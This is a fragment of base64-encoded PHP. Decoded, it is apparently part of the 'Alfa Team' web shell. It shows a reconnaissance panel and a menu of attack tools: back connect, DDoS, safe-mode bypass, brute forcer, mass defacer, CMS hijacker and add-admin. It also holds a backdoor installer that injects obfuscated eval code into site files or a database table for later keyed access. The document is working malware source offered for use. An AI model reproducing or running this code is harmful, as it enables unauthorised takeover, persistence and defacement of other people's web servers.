1c2VmdWxfZG93bmxvYWRlciA9ICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+dXNlZnVsOjwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91c2VmdWwiPi0tLS0tLS0tLS0tLS0tPC9zcGFuPjwvdGQ+PC90cj48dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvd25sb2FkZXI6IDwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9kb3dubG9hZGVyIj4tLS0tLS0tLS0tLS0tLTwvc3Bhbj48L3RkPjwvdHI+JzsNCmlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpew0KaWYoc3RybGVuKGFsZmFFeCgiaWQiLGZhbHNlLGZhbHNlKSk+MCl7DQplY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VXNlZnVsIDogPC9zcGFuPic7DQokdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlhbGZhMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiR4PTA7DQpmb3JlYWNoKCR1c2VyZnVsIGFzICRpdGVtKWlmKGFsZmFXaGljaCgkaXRlbSkpeyR4Kys7ZWNobyAnPHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIHN0eWxlPSJtYXJnaW4tbGVmdDogNHB4OyI+Jy4kaXRlbS4nPC9zcGFuPic7fQ0KaWYoJHg9PTApe2VjaG8gIjxzcGFuIGNsYXNzPSdoZWFkZXJfdmFsdWVzJyBpZD0naGVhZGVyX3VzZWZ1bCc+LS0tLS0tLS0tLS0tLS08L3NwYW4+IjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7fQ0KZWNobyAnPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvd25sb2FkZXI6IDwvc3Bhbj4nOw0KJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQokeD0wOw0KZm9yZWFjaCgkZG93bmxvYWRlcnMgYXMgJGl0ZW0yKWlmKGFsZmFXaGljaCgkaXRlbTIpKXskeCsrO2VjaG8gJzxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDRweDsiPicuJGl0ZW0yLic8L3NwYW4+Jzt9DQppZigkeD09MCl7ZWNobyAiPHNwYW4gY2xhc3M9J2hlYWRlcl92YWx1ZXMnIGlkPSdoZWFkZXJfZG93bmxvYWRlcic+LS0tLS0tLS0tLS0tLS08L3NwYW4+IjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7fQ0KZWNobyAnPC90ZD4NCjwvdHI+JzsNCn1lbHNlew0KZWNobyAkdXNlZnVsX2Rvd25sb2FkZXI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOw0KfQ0KfWVsc2V7DQplY2hvICR1c2VmdWxfZG93bmxvYWRlcjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7DQp9DQp9ZWxzZXsNCmVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5XaW5kb3dzOjwvc3Bhbj48Yj4nOw0KZWNobyBhbGZhRXgoJ3ZlcicsZmFsc2UsZmFsc2UpOw0KZWNobyAnPC90ZD4NCjwvdHI+IDx0cj4NCjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPjxiPi0tLS0tLS0tLS0tLS08L2I+PC90ZD4NCjwvdHI+PC9iPic7DQp9DQokcXVvdGVzID0gKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKT9nZXRfbWFnaWNfcXVvdGVzX2dwYygpOicwJyk7aWYgKCRxdW90ZXMgPT0gIjEiIG9yICRxdW90ZXMgPT0gIm9uIil7JG1hZ2ljID0gJzxiPjxzcGFuIGNsYXNzPSJoZWFkZXJfb24iPk9OPC9zcGFuPic7fWVsc2V7JG1hZ2ljID0gJzxzcGFuIGNsYXNzPSJoZWFkZXJfb2ZmIj5PRkY8L3NwYW4+Jzt9DQplY2hvICc8dHI+DQo8dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EaXNhYmxlIEZ1bmN0aW9uczogPC9zcGFuPjxiPicuQWxmYV9HZXREaXNhYmxlX0Z1bmN0aW9uKCkuJzwvYj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkNVUkwgOjwvc3Bhbj4nLiRjdXJsLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNTSDIgOiA8L3NwYW4+Jy4kc3NoMi4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5NYWdpYyBRdW90ZXMgOiA8L3NwYW4+Jy4kbWFnaWMuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IE15U1FMIDo8L3NwYW4+Jy4kbXlzcWwuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+TVNTUUwgOjwvc3Bhbj4nLiRtc3NxbC4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gUG9zdGdyZVNRTCA6PC9zcGFuPicuJHBnLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBPcmFjbGUgOjwvc3Bhbj4nLiRvci4nICcuKCRHTE9CQUxTWydzeXMnXT09InVuaXgiPyd8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IENHSSA6PC9zcGFuPiAnLiRjZ2lfc2hlbGw6IiIpLic8L3RkPjx0ZCB3aWR0aD0iMTUlIj48Y2VudGVyPjxhIGhyZWY9Imh0dHA6Ly96b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9QUxGQSUyMFRFYU0lMjAyMDEyIiB0YXJnZXQ9Il9ibGFuayI+PHNwYW4+PGZvbnQgY2xhc3M9InNvbGV2aXNpYmxlLXRleHQiIGNvbG9yPSIjMEYwIj5Tb2xlIFNhZCAmIEludmlzaWJsZTwvZm9udD48L3NwYW4+PC9hPjwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGhlaWdodD0iMTEiIGNvbHNwYW49IjMiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+T3Blbl9iYXNlZGlyIDo8L3NwYW4+PGI+Jy4kb3Blbl9iLic8L2I+IHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TYWZlX21vZGVfZXhlY19kaXIgOjwvc3Bhbj48Yj4nLiRzYWZlX2V4ZS4nPC9iPiB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IFNhZmVfbW9kZV9pbmNsdWRlX2RpciA6PC9zcGFuPjwvYj4nLiRzYWZlX2luY2x1ZGUuJzwvYj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBoZWlnaHQ9IjExIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNvZnRXYXJlOiA8L3NwYW4+PC90ZD4NCjx0ZCBjb2xzcGFuPSIyIj48Yj4nLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L2I+PC90ZD4NCjwvdHI+JzsNCmlmKCRHTE9CQUxTWydzeXMnXT09IndpbiIpew0KZWNobyAnPHRyPg0KPHRkIGhlaWdodD0iMTIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RFJJVkU6PC9zcGFuPjwvdGQ+DQo8dGQgY29sc3Bhbj0iMiI+PGI+Jy4kZHJpdmVzLic8L2I+PC90ZD4NCjwvdHI+JzsNCn0NCmVjaG8gJzx0cj4NCjx0ZCBoZWlnaHQ9IjEyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlBXRDo8L3NwYW4+PC90ZD4NCjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBpZD0iaGVhZGVyX2N3ZCI+Jy4kY3dkX2xpbmtzLicgPC9zcGFuPjxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJyAuICRHTE9CQUxTWydob21lX2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+PHNwYW4gY2xhc3M9ImhvbWVfc2hlbGwiPlsgSG9tZSBTaGVsbCBdPC9zcGFuPiA8L2E+PGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0icGF0aF9oaXN0b3J5KFwnYmFja1wnKTsiPjxzcGFuIGNsYXNzPSJiYWNrX3NoZWxsIj5bIEJBQ0sgXTwvc3Bhbj48L2E+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPC9kaXY+DQo8ZGl2IGlkPSJtZXVubGlzdCI+DQo8dWw+DQonOw0KJGxpID0gYXJyYXkoJ0ZpbGVzTWFuJz0+J0hvbWUnLCdwcm9jJz0+J1Byb2Nlc3MnLCdwaHBldmFsJz0+J0V2YWwnLCdzcWwnPT4nU1FMIE1hbmFnZXInLCdkdW1wZXInPT4nTXlzcWwgRHVtcGVyJywnaGFzaCc9PidFbi1EZWNvZGVyJywnY29ubmVjdCc9PidCQycsJ3NzaDInPT4nU1NIMicsDQonem9uZWgnPT4nWk9ORS1IJywnZG9zJz0+J0RET1MnLCdzYWZlJz0+J0J5UGFzc2VyJywnY2dpc2hlbGwnPT4nQ2dpIFNoZWxsJywnc3NpU2hlbGwnPT4nU1NJIFNIRUxMJywnY3BjcmFjayc9PidIYXNoIFRvb2xzJywNCidwb3J0c2Nhbm5lcic9PidQb3J0IFNjYW5lcicsJ2Jhc2VkaXInPT4nT3BlbiBCYXNlRGlyJywnbWFpbCc9PidGYWtlIE1haWwnLCd6aXBlcic9PidDb21wcmVzc29yJywnSW5kZXhDaGFuZ2VyJz0+J0luZGV4IENoYW5nZXInLCdwd2NoYW5nZXInPT4nQWRkIE5ldyBBZG1pbicsJ1NoZWxsSW5qZWN0b3JzJz0+J1NoZWxsIEluamVjdG9ycycsDQoncGhwMnhtbCc9PidQSFAyWE1MJywnY2xvdWRmbGFyZSc9PidDbG91ZEZsYXJlJywnV2htY3MnPT4nV2htY3MgRGVDb2RlcicsJ3N5bWxpbmsnPT4nU3ltbGluaycsJ01hc3NEZWZhY2VyJz0+J01hc3MgRGVmYWNlcicsJ0NyYWNrZXJzJz0+J0JydXRlRm9yY2VyJywnc2VhcmNoZXInPT4nU2VhcmNoZXInLA0KJ2Ntc2hpamFja2VyJz0+J0NNUyBIaWphY2tlcicsJ3JlbW90ZWRsJz0+J1JlbW90ZSBVcGxvYWQnLCdpbmJhY2tkb29yJz0+J0luc3RhbGwgQmFja0Rvb3InLCd3aG9pcyc9PidXaG9pcycsJ3NldHRpbmdzJz0+J0FsZmEgU2V0dGluZ3MnLCdwbHVzJz0+JzxzcGFuIGNsYXNzPSJhbGZhX3BsdXMiPkFsZmEgKzwvZm9udD4nLCdzZWxmcm0nPT4nUmVtb3ZlIFNoZWxsJw0KKTsNCmZvcmVhY2goJGxpIGFzICRrZXk9PiR2YWx1ZSl7DQplY2hvKCc8bGk+PGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgY2xhc3M9Im1lbnVfb3B0aW9ucyIgb25jbGljaz0iZyhcJycuJGtleS4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7Ij4nLiR2YWx1ZS4nPC9hPjwvbGk+Jy4iXG4iKTsNCn0NCmlmKCFlbXB0eSgkX1NFU1NJT05bJ0FsZmFVc2VyJ10pICYmICFlbXB0eSgkX1NFU1NJT05bJ0FsZmFQYXNzJ10pKQ0KZWNobyAnPGxpPjxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdsb2dvdXRcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7bG9jYXRpb24ucmVsb2FkKCk7fSwyMDAwKTsiPjxmb250IGNvbG9yPSJyZWQiPkxvZ091dDwvZm9udD48L2E+PC9saT48L3VsPjwvZGl2Pic7DQplbHNlDQplY2hvICc8L3VsPjwvZGl2Pic7fWVsc2V7DQpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOw0KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KfX0NCmZ1bmN0aW9uIGFsZmFsb2dvdXQoKXsNCnVuc2V0KCRfU0VTU0lPTlsnQWxmYVVzZXInXSwkX1NFU1NJT05bJ0FsZmFQYXNzJ10pOw0KZWNobygiPGNlbnRlcj48Zm9udCBjb2xvcj0ncmVkJz5Mb2dvdXQuLi48L2ZvbnQ+PC9jZW50ZXI+Iik7DQp9DQpmdW5jdGlvbiBzaG93QW5pbWF0aW9uKCRuYW1lKXsNCglyZXR1cm4gJy13ZWJraXQtYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246ICcuJG5hbWUuJyA4MDBtcyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7JzsNCn0NCmZ1bmN0aW9uIF9fc2hvd2ljb24oJHIpew0KCSRzWydidG4nXT0naHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYnRuLnBuZyc7DQoJJHNbJ2FsZmFtaW5pJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2FsZmFtaW5pLnBuZyc7DQoJJHNbJ2xvYWRlciddPSdodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9sb2FkZXIucG5nJzsNCgkvL3JldHVybiAnZGF0YTppbWFnZS9wbmc7YmFzZTY0LCcuX19nZXRfcmVzb3VyY2UoJHNbJHJdKTsNCglyZXR1cm4gJHNbJHJdOw0KfQ0KZnVuY3Rpb24gYWxmYWluYmFja2Rvb3IoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEluc3RhbGwgQmFja0Rvb3IgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2luYmFja2Rvb3JcJyxudWxsLFwnZmlsZVwnKSI+fCBJbiBGaWxlIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdpbmJhY2tkb29yXCcsbnVsbCxcJ2RiXCcpIj58IEluIERhdGFCYXNlIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsNCiRlcnJvciA9ICc8Zm9udCBjb2xvcj0icmVkIj5FcnJvciBJbiBJbmplY3QgQmFja0Rvb3IuLi4hPGJyPkZpbGUgTG9hZGVyIGlzIG5vdCBXcml0YWJsZSBPciBOb3QgRXhpc3RzLi4uITwvZm9udD4nOw0KJHN1Y2Nlc3M9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hJzsNCiR0ZXh0YXJlYSA9ICI8ZGl2IHN0eWxlPSdkaXNwbGF5Om5vbmU7JyBpZD0nYmFja2Rvb3JfdGV4dGFyZWEnPjxkaXYgY2xhc3M9J3R4dGZvbnQnPllvdXIgU2hlbGw6PC9kaXY+PHA+PHRleHRhcmVhIG5hbWU9J3NoZWxsJyByb3dzPScxOScgY29scz0nMTAzJz48P3BocFxuXHRlY2hvKCdBbGZhIFRlYW0gaXMgSGVyZS4uLiEnKTtcbj8+PC90ZXh0YXJlYT48L3A+PC9kaXY+IjsNCiRzZWxlY3QgPSAiPGRpdiBjbGFzcz0ndHh0Zm9udCc+VXNlOjwvZGl2PiA8c2VsZWN0IG5hbWU9J21ldGhvZCcgc3R5bGU9J3dpZHRoOjE1NXB4Oycgb25DaGFuZ2U9J2luQmFja2Rvb3IodGhpcyk7Jz48b3B0aW9uIHZhbHVlPSdhbGZhJz5BbGZhIFRlYW0gVXBsb2FkZXI8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdteSc+TXkgUHJpdmF0ZSBTaGVsbDwvb3B0aW9uPjwvc2VsZWN0PiI7DQokY3dkID0gJ0V4YW1wbGU6IC9ob21lL2FsZmEvcHVibGljX2h0bWwvaW5kZXgucGhwJzsNCmlmKCRfUE9TVFsnYWxmYTEnXT09J2ZpbGUnKXsNCmVjaG8oIjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgSW4gRmlsZSB8PC9kaXY+PC9wPjxwPjxmb3JtIG9uc3VibWl0PVwiZygnaW5iYWNrZG9vcicsbnVsbCwnZmlsZScsdGhpcy5tZXRob2QudmFsdWUsdGhpcy5maWxlLnZhbHVlLHRoaXMuc2hlbGwudmFsdWUsdGhpcy5rZXkudmFsdWUpO3JldHVybiBmYWxzZTtcIj57JHNlbGVjdH0gPGRpdiBjbGFzcz0ndHh0Zm9udCc+QmFja2Rvb3IgTG9hZGVyOjwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZScgc2l6ZT0nNTAnIHBsYWNlaG9sZGVyPSd7JGN3ZH0nPiA8ZGl2IGNsYXNzPSd0eHRmb250Jz5LZXk6IDwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0na2V5JyBzaXplPScxMCcgdmFsdWU9J2FsZmEnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+eyR0ZXh0YXJlYX08L2Zvcm0+PC9wPjwvY2VudGVyPiIpOw0KaWYoJF9QT1NUWydhbGZhMiddIT0nJyYmJF9QT1NUWydhbGZhMyddIT0nJyYmJF9QT1NUWydhbGZhNCddIT0nJyl7DQokbWV0aG9kID0gJF9QT1NUWydhbGZhMiddOw0KJGZpbGUgPSAkX1BPU1RbJ2FsZmEzJ107DQokc2hlbGwgPSAkX1BPU1RbJ2FsZmE0J107DQoka2V5ID0gc3RyX3JlcGxhY2UoYXJyYXkoJyInLCdcJycpLCcnLHRyaW0oJF9QT1NUWydhbGZhNSddKSk7DQppZigka2V5PT0nJykka2V5PSdhbGZhJzsNCmlmKCRtZXRob2Q9PSdteScpeyRzaGVsbD1fX1pXNWpiMlJsY2coJHNoZWxsKTt9ZWxzZXskc2hlbGw9JEdMT0JBTFNbJ19fQUxGQV9TSEVMTF9DT0RFJ107fQ0KJGNvZGUgPSAnPD9waHAgaWYoaXNzZXQoJF9HRVRbImFsZmEiXSkmJiRfR0VUWyJhbGZhIl09PSInLiRrZXkuJyIpeyRmdW5jPSJjciIuImVhIi4idGVfIi4iZnVuIi4iY3Rpb24iOyR4PSRmdW5jKCJcJGMiLCJlIi4idiIuImFsIi4iKFwnPz5cJy5iYXNlIi4iNjQiLiJfZGVjIi4ib2RlKFwkYykpOyIpOyR4KCInLiRzaGVsbC4nIik7ZXhpdDt9Pz4nOw0KaWYoQGlzX2ZpbGUoJGZpbGUpJiZAaXNfd3JpdGFibGUoJGZpbGUpKXtAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsJGNvZGUuIlxuIi5AZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTtfX2FsZXJ0KCRzdWNjZXNzLiI8YnI+UnVuIFdpdGg6ICIuYmFzZW5hbWUoJGZpbGUpLiI/YWxmYT0iLiRrZXkuJzwvZm9udD4nKTt9ZWxzZXtfX2FsZXJ0KCRlcnJvcik7fX19DQppZigkX1BPU1RbJ2FsZmExJ109PSdkYicpew0KZWNobygiPGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBJbiBEYXRhQmFzZSB8PC9kaXY+PC9wPiIuZ2V0Q29uZmlnSHRtbCgnYWxsJykuIjxwPjxmb3JtIG9uc3VibWl0PVwiZygnaW5iYWNrZG9vcicsbnVsbCwnZGInLHRoaXMuZGJfaG9zdC52YWx1ZSx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsdWUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSx0aGlzLnNoZWxsLnZhbHVlLHRoaXMua2V5LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+Iik7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KJ3RkMicgPT4NCmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KJ3RkMycgPT4NCmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCid0ZDQnID0+DQphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQondGQ1JyA9Pg0KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0JhY2tkb29yIExvYWRlcjogJywgJ2lucHV0TmFtZScgPT4gJ2ZpbGUnLCAnaW5wdXRWYWx1ZScgPT4gJGN3ZCwgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ3BsYWNlaG9sZGVyJyA9PiB0cnVlKSwNCid0ZDYnID0+DQphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnS2V5OiAnLCAnaW5wdXROYW1lJyA9PiAna2V5JywgJ2lucHV0VmFsdWUnID0+ICdhbGZhJywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8oIjxwPnskc2VsZWN0fTwvcD4iKTsNCmVjaG8oJHRleHRhcmVhKTsNCmVjaG8oIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsNCmlmKCRfUE9TVFsnYWxmYTInXSE9JycmJiRfUE9TVFsnYWxmYTMnXSE9JycmJiRfUE9TVFsnYWxmYTUnXSE9JycmJiRfUE9TVFsnYWxmYTYnXSE9Jycpew0KJGRiaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYnVzZXIgPSAkX1BPU1RbJ2FsZmEzJ107DQokZGJwdyA9ICRfUE9TVFsnYWxmYTQnXTsNCiRkYm5hbWUgPSAkX1BPU1RbJ2FsZmE1J107DQokZmlsZSA9ICRfUE9TVFsnYWxmYTYnXTsNCiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE3J107DQokc2hlbGwgPSAkX1BPU1RbJ2FsZmE4J107DQoka2V5ID0gc3RyX3JlcGxhY2UoYXJyYXkoJyInLCdcJycpLCcnLHRyaW0oJF9QT1NUWydhbGZhOSddKSk7DQppZigka2V5PT0nJykka2V5PSdhbGZhJzsNCmlmKCRtZXRob2Q9PSdteScpeyRzaGVsbD1fX1pXNWpiMlJsY2coJHNoZWxsKTt9ZWxzZXskc2hlbGw9JEdMT0JBTFNbJ19fQUxGQV9TSEVMTF9DT0RFJ107fQ0KaWYoJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicHcsJGRibmFtZSkpew0KJGNvZGUgPSAnPD9waHAgaWYoaXNzZXQoJF9HRVRbImFsZmEiXSkmJiRfR0VUWyJhbGZhIl09PSInLiRrZXkuJyIpeyRjb25uPW15c3FsaV9jb25uZWN0KCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYmhvc3QpLiciLCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYnVzZXIpLiciLCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYnB3KS4nIiwiJy5zdHJfcmVwbGFjZSgnIicsJ1wiJywkZGJuYW1lKS4nIik7JHE9bXlzcWxpX3F1ZXJ5KCRjb25uLCJTRUxFQ1QgYGNvZGVgIEZST00gYWxmYV9iYyBMSU1JVCAwLDEiKTskcj1teXNxbGlfZmV0Y2hfYXNzb2MoJHEpOyRmdW5jPSJjciIuImVhIi4idGVfIi4iZnVuIi4iY3Rpb24iOyR4PSRmdW5jKCJcJGMiLCJlIi4idiIuImFsIi4iKFwnPz5cJy5iYXNlIi4iNjQiLiJfZGVjIi4ib2RlKFwkYykpOyIpOyR4KCRyWyJjb2RlIl0pO2V4aXQ7fT8+JzsNCmlmKEBpc19maWxlKCRmaWxlKSYmQGlzX3dyaXRhYmxlKCRmaWxlKSl7DQpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEUk9QIFRBQkxFIGBhbGZhX2JjYCcpOw0KQG15c3FsaV9xdWVyeSgkY29ubiwnQ1JFQVRFIFRBQkxFIGBhbGZhX2JjYCAoY29kZSBMT05HVEVYVCknKTsNCkBteXNxbGlfcXVlcnkoJGNvbm4sJ0lOU0VSVCBJTlRPIGBhbGZhX2JjYCBWQUxVRVMoIicuJHNoZWxsLiciKScpOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQpfX2FsZXJ0KCRzdWNjZXNzLiI8YnI+UnVuIFdpdGg6ICIuYmFzZW5hbWUoJGZpbGUpLiI/YWxmYT0iLiRrZXkuJzwvZm9udD4nKTt9ZWxzZXtfX2FsZXJ0KCRlcnJvcik7fX19fQ0KZWNobygnPC9kaXY+Jyk7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhd2hvaXMoKXsNCmVjaG8oIjxkaXYgY2xhc3M9J2hlYWRlcic+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXaG9pcyB8PC9kaXY+PC9wPjxwPjxmb3JtIG9uc3VibWl0PVwiZygnd2hvaXMnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7cmV0dXJuIGZhbHNlO1wiPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1cmwnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0nZ29vZ2xlLmNvbSc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC9wPjwvY2VudGVyPiIpOw0KaWYoJF9QT1NUWydhbGZhMiddPT0nPj4nJiYhZW1wdHkoJF9QT1NUWydhbGZhMSddKSl7DQokc2l0ZSA9IHN0cl9yZXBsYWNlKGFycmF5KCdodHRwOi8vJywnaHR0cHM6Ly8nLCd3d3cuJywnZn